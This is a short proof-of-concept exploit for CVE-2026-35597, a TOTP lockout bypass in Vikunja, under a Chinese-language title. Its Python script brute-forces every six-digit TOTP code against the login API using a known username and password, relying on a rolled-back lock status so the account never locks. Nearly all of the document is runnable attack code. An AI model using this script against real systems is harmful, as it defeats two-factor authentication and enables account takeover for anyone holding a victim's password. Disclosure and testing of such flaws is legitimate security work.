CVE-2026-35597 Vikunja TOTP锁定机制失效漏洞

# PoC for CVE-2026-35597: Vikunja TOTP Lockout Bypass # Description: This script demonstrates that an attacker can brute-force TOTP codes # without the account being locked out, because the database transaction # setting the 'locked' status is rolled back after every failed attempt. import requests def brute_force_vikunja_totp(target_url, username, password): session = requests.Session() # Simulate iterating through TOTP codes (000000 to 999999) for code in range(0, 1000000): totp_code = f"{code:06d}" payload = { "username": username, "password": password, "totp_passcode": totp_code } try: response = session.post(f"{target_url}/api/v1/login", json=payload) if response.status_code == 200: print(f"[+] Success! Valid TOTP found: {totp_code}") print(f"[+] Response: {response.text}") return else: # Due to the vulnerability, the account lock status is rolled back. # The attacker continues indefinitely. if code % 100 == 0: print(f"[*] Attempt {code}: Failed. Lockout bypassed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "http://localhost:3456" USER = "[email protected]" PASS = "password123" brute_force_vikunja_totp(TARGET, USER, PASS)